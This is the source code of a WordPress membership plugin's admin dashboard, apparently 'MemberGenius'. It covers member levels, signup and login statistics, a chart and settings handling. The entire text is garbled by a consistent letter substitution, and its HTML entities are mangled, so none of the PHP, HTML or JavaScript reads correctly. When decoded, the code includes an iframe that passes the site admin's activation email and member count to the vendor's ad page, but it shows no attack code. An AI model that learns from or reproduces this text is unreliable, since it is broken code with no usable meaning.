nmouBs(Smyxn-QzmUFDmxkFmxrs-QzmUDFuu) QzmU NKJ) { BDyr QTPMGUQumU/CxkQzmUQTPMGUU oBmlosU } WQzmUYY QumUqQzmU?BuDrtB mr 3BtEBo 9Bsxln. ;nxsz myxn qulzxs hrlQTPMGUuu EB FEuB mr qormBDm hrlo nxmB, mFvB qFhtBsmn, FsC tFsFzB hrlo tBtEBon.QumU/qQzmUYY QumUmFEuB DBuuqFCCxsz=QplrmUOPQplrmUQzmUY QumUmoQzmUY QumUmC kFuxzs=QplrmUmrqQplrmUQzmUYY QumUWqyq Smyxn-QzmUtBsl_CFnyErFoC_qFsBu()U WQzmUYY QumUluQzmUY QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUnBmmxsznQplrmU)U WQzmUQplrmUQzmU$BmmxsznQumU/FQzmUQumU/EQzmU - dlnmrtxgB myB EByFkxro rA hrlo tBtEBonyxq nxmBQumU/uxQzmUY QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQplrmUQzmU3BtEBonQumU/FQzmUQumU/EQzmU - fCC, CBuBmB, ro tFsFzB qBrquB jyr zBm FDDBnn mr hrlo tBtEBonyxq nxmBQumU/uxQzmUY QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU)U WQzmUQplrmUQzmU4BkBunQumU/FQzmUQumU/EQzmU - doBFmB FsC trCxAh qormBDmBC nBDmxrsn rA hrlo tBtEBonyxq nxmBQumU/uxQzmUY QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU)U WQzmUQplrmUQzmUdrsmBsmQumU/FQzmUQumU/EQzmU - drsmoru jyxDy qrnmn FsC qFzBn rA hrlo nxmB EBursz mr uBkBunQumU/uxQzmUY QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUqFhtBsmnQplrmU)U WQzmUQplrmUQzmU0FhtBsmnQumU/FQzmUQumU/EQzmU - $Bmlq Elmmrsn mr mFvB qFhtBsmn mr zFxs FDDBnn mr uBkBunQumU/uxQzmUY QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUFlmroBnqrsCBoQplrmU)U WQzmUQplrmUQzmUflmroBnqrsCBoQumU/FQzmUQumU/EQzmU - elxuC F tFxuxsz uxnm Drsnxnmxsz rA hrlo tBtEBonQumU/uxQzmUY QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUnrDxFuQplrmU)U WQzmUQplrmUQzmU$rDxFuQumU/FQzmUQumU/EQzmU - fuurj tBtEBon mr oBzxnmBo QFtqUFtqU urzxs lnxsz nrDxFu sBmjrovn nlDy Fn aFDBErrvQumU/uxQzmUY QumU/luQzmUYY QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY QumUWqyq Smyxn-QzmUFDmxkFmxrs-QzmUCBFDmxkFmxrs_Elmmrs()U WQzmUY QumU/ArotQzmUYY QumU/mCQzmUY QumUmC jxCmy=QplrmULHPQplrmU kFuxzs=QplrmUmrqQplrmU nmhuB=QplrmUqFCCxsz:OPqiUQplrmUQzmUY QumUxAoFtB FuurjmoFsnqFoBsDh=QplrmUmolBQplrmU noD=QplrmUymmq://jjj.tBtEBozBsxln.Drt/FCn/WBtFxu=QumUWqyq BDyr louBsDrCB(StBtEBozBsxln-QzmUFCtxs-QzmUFDmxkFmxrs-QzmUBtFxu)U WQzmUQFtqUtBtEBon=QumUWqyq BDyr xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm())U WQzmUQFtqUkBonxrs=QumUWqyq BDyr StBtEBozBsxln-QzmUFCtxs-QzmUFDmxkFmxrs-QzmUkBonxrsU WQzmUQplrmU jxCmy=QplrmULHPQplrmU yBxzym=QplrmUMJPQplrmU AoFtBEroCBo=QplrmUOQplrmU EroCBo=QplrmUOQplrmUQzmUQumU/xAoFtBQzmUY QumU/mCQzmUYY QumU/moQzmUY QumU/mFEuBQzmUYY QumU/CxkQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_CFnyErFoC_qFsBu() { zurEFu StBtEBozBsxlnU xA (Smyxn-QzmUFDmxkFmxrs-QzmUDFuu == P) { oBmlosU } xA (xnnBm(S_ b&;b$#[QplrmUnQplrmU]) QFtqUQFtqU VBtqmh(S_ b&;b$#[QplrmUnQplrmU])) { Smyxn-QzmUtBsl_tBtEBon()U oBmlosU } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SoBDBsm_nxzslqn = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(QplrmUsltEBo=KPQFtqUroCBoEh=oBzxnmBoBCQFtqUroCBo=cb$dQplrmU)U SoBDBsm_urzxsn = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(QplrmUsltEBo=KPQFtqUroCBoEh=uFnmurzxsQFtqUroCBo=cb$dQplrmU)U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon$xsDB(mxtB()-HJLPP) Fn Sorj) { xA (VxnnBm(SuBkBun[Sorj-QzmUuBkBu_xC])) { DrsmxslBU } SuBkBun[Sorj-QzmUuBkBu_xC]-QzmUnxsDBNL = Sorj-QzmUmrmFuU } AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon$xsDB(mxtB()-HJLPP*I) Fn Sorj) { xA (VxnnBm(SuBkBun[Sorj-QzmUuBkBu_xC])) { DrsmxslBU } SuBkBun[Sorj-QzmUuBkBu_xC]-QzmUnxsDBI = Sorj-QzmUmrmFuU } AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon$xsDB(mxtB()-HJLPP*MP) Fn Sorj) { xA (VxnnBm(SuBkBun[Sorj-QzmUuBkBu_xC])) { DrsmxslBU } SuBkBun[Sorj-QzmUuBkBu_xC]-QzmUnxsDBMP = Sorj-QzmUmrmFuU } WQzmUY QumUArot tBmyrC=QplrmUqrnmQplrmU FDmxrs=QplrmUQumUWqyq BDyr Smyxn-QzmUtBslU WQzmU-tBtEBonQplrmUQzmUY QumUqQzmUY QumUxsqlm mhqB=QplrmUnBFoDyQplrmU kFulB=QplrmUQplrmU sFtB=QplrmUnQplrmU quFDByruCBo=QplrmU$BFoDy 3BtEBonQplrmU rsCEuDuxDv=QplrmUtBtEBozBsxln_tlumxnBFoDy(myxn)UQplrmUQzmUY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$BFoDyQplrmUQzmUY QumU/qQzmUYY QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:OPP%UQplrmU xC=QplrmUtBtEBozBsxln_CFnyErFoCQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OPPqiUQplrmUQzmU4BkBuQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUfDmxkBQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUdFsDBuBCQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4Fnm NL 8rlonQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4Fnm I cFhnQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4Fnm MP cFhnQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUmErChQzmUY QumUWqyq SmrmFufDmxkB = PU SmrmFudFsDBuBC = PU WQzmUY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUWqyqY SmrmFufDmxkB += SuBkBu-QzmUFDmxkBU SmrmFudFsDBuBC += SuBkBu-QzmUDFsDBuBCU SnxsDBNL = PU SnxsDBI = PU SnxsDBMP = PU xA (xnnBm(SuBkBu-QzmUnxsDBNL)) { SnxsDBNL = xsmkFu(SuBkBu-QzmUnxsDBNL)U } xA (xnnBm(SuBkBu-QzmUnxsDBI)) { SnxsDBI = xsmkFu(SuBkBu-QzmUnxsDBI)U } xA (xnnBm(SuBkBu-QzmUnxsDBMP)) { SnxsDBMP = xsmkFu(SuBkBu-QzmUnxsDBMP)U } WQzmUY QumUmoQzmUY QumUmCQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQFtqUu=QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/FQzmUQumU/mCQzmUY QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmUFDmxkB)U WQzmUQumU/mCQzmUY QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUArsm-jBxzym:EruCU Druro:oBCU mBim-CBDroFmxrs:uxsB-myorlzyQplrmUQzmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmUDFsDBuBC)U WQzmUQumU/mCQzmUYY QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUDruro:TffffffU Arsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr SnxsDBNLU WQzmUQumU/mCQzmUY QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUDruro:TffffffU Arsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr SnxsDBIU WQzmUQumU/mCQzmUY QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUDruro:TffffffU Arsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr SnxsDBMPU WQzmUQumU/mCQzmUY QumU/moQzmUY QumUWqyq BsCAroBFDyU WQzmUYY QumUmo DuFnn=QplrmUtBtEBozBsxln_nBqFoFmroQplrmUQzmUY QumUmC DrunqFs=QplrmUJQplrmU DuFnn=QplrmUFumBosFmBQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY QumU/moQzmUYY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUxQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQplrmUQzmU#rmFu 3BtEBonQumU/FQzmUQumU/xQzmUQumU/mCQzmUY QumUmC Fuxzs=QplrmUDBsmBoQplrmU DuFnn=QplrmUtBtEBozBsxln_mrmFuQplrmUQzmUQumUWqyq BDyr xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm(QplrmUfQplrmU))U WQzmUQumU/mCQzmUY QumUmC Fuxzs=QplrmUDBsmBoQplrmU DrunqFs=QplrmULQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY QumU/moQzmUYY QumU/mErChQzmUY QumU/mFEuBQzmUY QumU/ArotQzmUYY QumUCxk nmhuB=QplrmUDuBFo:ErmyU jxCmy:OPP%U tFozxs-mrq:NPqiU mBim-Fuxzs:DBsmBoUQplrmUQzmUY QumUF DuFnn=QplrmUoBDBsm_uxsvQplrmU yoBA=QplrmUTQplrmU nmhuB=QplrmUArsm-jBxzym:EruCUQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.oBDBsm_uxsvQTPMGU).Dnn(QTPMGUArsm-jBxzymQTPMGU, QTPMGUsrotFuQTPMGU)U w&lBoh(myxn).Dnn(QTPMGUArsm-jBxzymQTPMGU, QTPMGUEruCQTPMGU)U w&lBoh(QTPMGUTtBtEBozBsxln_oBDBsm_nxzslqnQTPMGU).nyrj()U w&lBoh(QTPMGUTtBtEBozBsxln_oBDBsm_urzxsnQTPMGU).yxCB()U oBmlos AFunBUQplrmUQzmU BDBsm $xzslqnQumU/FQzmU - QumUF DuFnn=QplrmUoBDBsm_uxsvQplrmU yoBA=QplrmUTQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.oBDBsm_uxsvQTPMGU).Dnn(QTPMGUArsm-jBxzymQTPMGU, QTPMGUsrotFuQTPMGU)U w&lBoh(myxn).Dnn(QTPMGUArsm-jBxzymQTPMGU, QTPMGUEruCQTPMGU)U w&lBoh(QTPMGUTtBtEBozBsxln_oBDBsm_nxzslqnQTPMGU).yxCB()U w&lBoh(QTPMGUTtBtEBozBsxln_oBDBsm_urzxsnQTPMGU).nyrj()U oBmlos AFunBUQplrmUQzmU BDBsm 4rzxsnQumU/FQzmUY QumU/CxkQzmUYY QumUWqyqY SoBDBsm$xzslq$Doruu = Drlsm(SoBDBsm_nxzslqn) QzmU KU SoBDBsm4rzxs$Doruu = Drlsm(SoBDBsm_urzxsn) QzmU KU WQzmUY QumUCxk xC=QplrmUtBtEBozBsxln_oBDBsm_nxzslqnQplrmUQumUWqyq xA (SoBDBsm$xzslq$Doruu): WQzmU nmhuB=QplrmUyBxzym:OKPqiU rkBoAurj:FlmrUQplrmUQumUWqyq BsCxAU WQzmUQzmUY QumUluQzmUY QumUWqyq AroBFDy (SoBDBsm_nxzslqn Fn SoBDBsm_nxzslq): WQzmUY QumUuxQzmUY QumUF yoBA=QplrmUQumUWqyq BDyr zBm_BCxm_lnBo_uxsv(SoBDBsm_nxzslq-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SoBDBsm_nxzslq-QzmUlnBo_urzxs)U WQzmUQumU/FQzmUY QumUnqFs nmhuB=QplrmUAurFm:oxzymUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SoBDBsm_nxzslq-QzmUlnBo_oBzxnmBoBC)U WQzmU (QumUWqyq BDyr Smyxn-QzmUmxtBnxsDB(nmomrmxtB(SoBDBsm_nxzslq-QzmUlnBo_oBzxnmBoBC))U WQzmU)QumU/nqFsQzmUY QumU/uxQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/luQzmUY QumU/CxkQzmUYY QumUCxk xC=QplrmUtBtEBozBsxln_oBDBsm_urzxsnQplrmU QumUWqyq xA (SoBDBsm4rzxs$Doruu): WQzmUnmhuB=QplrmUCxnquFh:srsBU yBxzym:OKPqiU rkBoAurj:FlmrUQplrmUQumUWqyq BsCxAU WQzmUQzmUY QumUluQzmUY QumUWqyq AroBFDy (SoBDBsm_urzxsn Fn SoBDBsm_urzxs): WQzmUY QumUuxQzmUY QumUF yoBA=QplrmUQumUWqyq BDyr zBm_BCxm_lnBo_uxsv(SoBDBsm_urzxs-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SoBDBsm_urzxs-QzmUlnBo_urzxs)U WQzmUQumU/FQzmUY QumUnqFs nmhuB=QplrmUAurFm:oxzymUQplrmUQzmUQumUWqyq BDyr CFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, SoBDBsm_urzxs-QzmUlnBo_kFulB)U WQzmU (QumUWqyq BDyr Smyxn-QzmUmxtBnxsDB(SoBDBsm_urzxs-QzmUlnBo_kFulB)U WQzmU)QumU/nqFsQzmUY QumU/uxQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/luQzmUY QumU/CxkQzmUYY QumUWqyq Smyxn-QzmUwFkFnDoxqm()U WQzmUYY QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY QumUV--Y TtBtEBozBsxln_CFnyErFoC myBFC mo my, TtBtEBozBsxln_CFnyErFoC mErCh mo mC { Arsm-nxgB:OLqiU }Y Cxk.xsnxCB Arot TtBtEBozBsxln_CFnyErFoC myBFC mo my, Cxk.xsnxCB Arot TtBtEBozBsxln_CFnyErFoC mErCh mo mC {Y Arsm-nxgB:ONqiUY qFCCxsz:Hqi Lqi VxtqromFsmUY }Y .tBtEBozBsxln_mrmFu {Y qFCCxsz:KqiU Arsm-jBxzym:EruCU Arsm-nxgB:NNqi VxtqromFsmUY }Y Cxk.xsnxCB Arot TtBtEBozBsxln_CFnyErFoC mErCh mo.tBtEBozBsxln_nBqFoFmro { CxnquFh:srsBU }Y --QzmUY QumU/nmhuBQzmUYY QumUWqyq Smyxn-QzmUtBsl_CFnyErFoC_DyFom()U WQzmUY QumUWqyqY } qlEuxD AlsDmxrs wFkFnDoxqm() { WQzmUY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y w&lBoh(QTPMGU.tBtEBozBsxln_qrqlqQTPMGU).DuxDv(tBtEBozBsxln_qrqlq_rqBs)UYY AlsDmxrs tBtEBozBsxln_qrqlq_rqBs() {Y w&lBoh(QTPMGUTtBtEBozBsxln_lnBosFtB, TtBtEBozBsxln_AxonmsFtB, TtBtEBozBsxln_uFnmsFtB, TtBtEBozBsxln_BtFxu, TtBtEBozBsxln_qFnnjroCO, TtBtEBozBsxln_qFnnjroCNQTPMGU).kFu(QTPMGUQTPMGU)UY w&lBoh(QTPMGUTtBtEBozBsxln_lnBosFtBQTPMGU).ArDln()UY }YY AlsDmxrs tBtEBozBsxln_kxCBr(DFuuBo, nulz) {Y w&lBoh(DFuuBo).Dnn(QplrmUCxnquFhQplrmU, QplrmUEurDvQplrmU).ymtu(QTPMGUQumUxAoFtB nmhuB=QplrmUtFi-jxCmy:OPP%U qFCCxsz:OPqiUQplrmU jxCmy=QplrmUOPNLQplrmU yBxzym=QplrmUJPPQplrmU noD=QplrmUymmqn://jjj.hrlmlEB.Drt/BtEBC/QTPMGU+nulz+QTPMGUWFlmrquFh=OQFtqUoBu=PQFtqUnyrjxsAr=PQplrmU AoFtBEroCBo=QplrmUPQplrmU EroCBo=QplrmUPQplrmU FuurjAluunDoBBsQzmUQumU/xAoFtBQzmUQTPMGU).Eulo()UY oBmlos AFunBUY }YY AlsDmxrs tBtEBozBsxln_tlumxnBFoDy(DFuuBo) {Y kFo mBimFoBF = CrDltBsm.DoBFmBbuBtBsm(QTPMGUmBimFoBFQTPMGU)UY mBimFoBF.kFulB = w&lBoh(DFuuBo).kFu()UYY mBimFoBF.sFtB = w&lBoh(DFuuBo).Fmmo(QplrmUsFtBQplrmU)UY mBimFoBF.quFDByruCBo = w&lBoh(DFuuBo).Fmmo(QplrmUquFDByruCBoQplrmU)UYY xA (w&lBoh(DFuuBo).qFoBsmn(QplrmU.xsnxCBQplrmU).uBszmy == O) {Y mBimFoBF.Drun = KPUY }Y BunB {Y mBimFoBF.Drun = HPUY }Y mBimFoBF.orjn = KUYY w&lBoh(DFuuBo).FAmBo(QTPMGUQumUEo /QzmUQTPMGU)UY w&lBoh(DFuuBo).oBquFDB?xmy(mBimFoBF).ArDln()UY }YY AlsDmxrs tBtEBozBsxln_DyFszB() {Y kFo FDmxrs = w&lBoh(QplrmUTtBtEBozBsxln_FDmxrsQplrmU).kFu()UY kFo uBkBun = w&lBoh(QplrmUTtBtEBozBsxln_uBkBunQplrmU)UYY xA (FDmxrs == QplrmUtrkBQplrmU || FDmxrs == QplrmUFCCQplrmU || FDmxrs == QplrmUoBtrkBQplrmU || FDmxrs == QplrmUDFsDBuQplrmU || FDmxrs == QplrmUlsDFsDBuQplrmU) {Y uBkBun.nyrj()UY }Y BunB {Y uBkBun.yxCB()UY }Y }YY AlsDmxrs tBtEBozBsxln_DrsAxot() {Y kFo tBnnFzB = QTPMGUfoB hrl $; b hrl jFsm mr CBuBmB myB nBuBDmBC tBtEBonW\s\s#yxn FDmxrs DFssrm EB lsCrsB.\s\sduxDv 15 mr drsmxslB, ro dFsDBu mr nmrq.QTPMGUUY oBmlos DrsAxot(tBnnFzB)UY }Y // --QzmUY QumU/nDoxqmQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_CFnyErFoC_DyFom() { zurEFu StBtEBozBsxlnU SAxonm3BtEBo = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(QplrmUsltEBo=OQFtqUroCBoEh=oBzxnmBoBCQFtqUroCBo=f$dQplrmU)U xA (VSAxonm3BtEBo) { oBmlosU } xA (VxnnBm(SAxonm3BtEBo[P]-QzmUlnBo_oBzxnmBoBC)) { oBmlosU } SAxonmcFmB = nmomrmxtB(SAxonm3BtEBo[P]-QzmUlnBo_oBzxnmBoBC)U xA (SAxonmcFmB QzmU= mxtB()) { oBmlosU } SnmFom_hBFo = CFmB(Dyo(HG), SAxonmcFmB)U SnmFom_trsmy = CFmB(QplrmUsQplrmU, SAxonmcFmB)U SBsC_hBFo = CFmB(Dyo(HG))U SBsC_trsmy = CFmB(QplrmUsQplrmU)U StrsmycxAA = ((SBsC_hBFo-SnmFom_hBFo)*ON) + (SBsC_trsmy-SnmFom_trsmy)U Strsmyn = FooFh()U ShBFo = CFmB(Dyo(HG))U Strsmy = CFmB(QplrmUsQplrmU)U Aro (Sx=PUSxQumU=StrsmycxAAUSx++) { SnmFom = tvmxtB(P, P, P, SnmFom_trsmy+Sx, O, SnmFom_hBFo)U SBsC = tvmxtB(P, P, P, SnmFom_trsmy+Sx+O, O, SnmFom_hBFo)U SvBh = CFmB(QplrmUa QplrmU.Dyo(HG), SnmFom)U Strsmyn[SvBh] = FooFh( QplrmUFDmxkBQplrmU =QzmU StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm(QplrmUfQplrmU, P, SBsC), QplrmUDFsDBuBCQplrmU =QzmU StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm(QplrmUdQplrmU, SnmFom, SBsC), QplrmUmyxn3rsmyQplrmU =QzmU StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm(sluu, SnmFom, SBsC) )U } WQzmUY QumUCxk xC=QplrmUtBtEBozBsxln_DyFomQplrmU nmhuB=QplrmUEFDvzorlsC-Druro:moFsnqFoBsmU tFozxs-uBAm:-NPqiU yBxzym: NPPqiUQplrmUQzmUQumU/CxkQzmUY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmU noD=QplrmU//jjj.zrrzuB.Drt/wnFqxQplrmUQzmUQumU/nDoxqmQzmUY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY zrrzuB.urFC(QTPMGUkxnlFuxgFmxrsQTPMGU, QTPMGUOQTPMGU, {qFDvFzBn: [QTPMGUDroBDyFomQTPMGU]})UY QumU/nDoxqmQzmUY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY kFo DyFom?xCmyUY xA (w&lBoh(QplrmUTtBtEBozBsxln.qrnmEriQplrmU).uBszmy == P) { DyFom?xCmy = IPPU }Y BunB { DyFom?xCmy = LKPU }YY AlsDmxrs CoFj!xnlFuxgFmxrs() {Y // doBFmB FsC qrqluFmB myB CFmF mFEuB.Y kFo CFmF = zrrzuB.kxnlFuxgFmxrs.FooFh#rcFmF#FEuB([Y [QTPMGUiQTPMGU, QTPMGU3BtEBonQTPMGU, QTPMGUdFsDBuuFmxrsnQTPMGU]Y QumUWqyq AroBFDy (Strsmyn Fn Strsmy =QzmU StBtEBon): WQzmUY QumUWqyqY SsBj3BtEBon = StBtEBon[QplrmUmyxn3rsmyQplrmU]U SFDmxkB3BtEBon = @xsmkFu(StBtEBon[QplrmUFDmxkBQplrmU])U SDFsDBuBC3BtEBon = @xsmkFu(StBtEBon[QplrmUDFsDBuBCQplrmU])U WQzmUY ,[QTPMGUQumUWqyq BDyr ymtuBsmxmxBn(Strsmy)U WQzmUQTPMGU, Y {k:QumUWqyq BDyr SFDmxkB3BtEBonU WQzmU, A:QTPMGUQumUWqyq BDyr SFDmxkB3BtEBonU WQzmU #rmFu, QumUWqyq BDyr SsBj3BtEBonU WQzmU 2BjQTPMGU}, Y QumUWqyq BDyr SDFsDBuBC3BtEBonU WQzmU]Y QumUWqyq BsCAroBFDyU WQzmUY ])UY Y // doBFmB FsC CoFj myB kxnlFuxgFmxrs.Y sBj zrrzuB.kxnlFuxgFmxrs.4xsBdyFom(CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_DyFomQTPMGU)).Y CoFj(CFmF, {DlokB#hqB: QplrmUsrsBQplrmU,Y EFDvzorlsCdruro:QplrmUmoFsnqFoBsmQplrmU,Y jxCmy: DyFom?xCmy, yBxzym: NPP,Y Druron:[QTPMGUTPOHedbQTPMGU, QTPMGUTDBPPPPQTPMGU],Y uBzBsC:{qrnxmxrs:QplrmUsrsBQplrmU},Y qrxsm$xgB:K,Y kfixn:{kxBj?xsCrj:{txs:P}}Y }Y )UY }Y zrrzuB.nBm1s4rFCdFuuEFDv(CoFj!xnlFuxgFmxrs)UY QumU/nDoxqmQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_nBmmxszn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_yBFCBoQplrmU])) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srmxAhQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_qorAxuBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmU]) QFtqUQFtqU xn_sltBoxD(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmU])) { xA (S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmU] == P) { lqCFmB_rqmxrs(QplrmUnyrj_rs_AorsmQplrmU, QplrmUqrnmnQplrmU)U lqCFmB_rqmxrs(QplrmUqFzB_rs_AorsmQplrmU, P)U } BunB { lqCFmB_rqmxrs(QplrmUnyrj_rs_AorsmQplrmU, QplrmUqFzBQplrmU)U lqCFmB_rqmxrs(QplrmUqFzB_rs_AorsmQplrmU, S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmU])U } } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_roCBoQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUroCBoQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_roCBoQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_yBFCBoQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUyBFCBoQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_yBFCBoQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_ArrmBoQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUArrmBoQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_ArrmBoQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_nlqqromQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnlqqromQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_nlqqromQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_FAAxuxFmBQplrmU])) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_FmmoxElmxrsQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_BtFxuFmmoxElmxrsQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU, P)U } SFAAxuxFmB = nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_FAAxuxFmBQplrmU])U SFAAxuxFmB = qoBz_oBquFDB(QTPMGU@[^f-<P-G\-\.]@nxQTPMGU, QTPMGUQTPMGU, SFAAxuxFmB)U StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFAAxuxFmBQplrmU, SFAAxuxFmB)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_qFzBQplrmU])) { 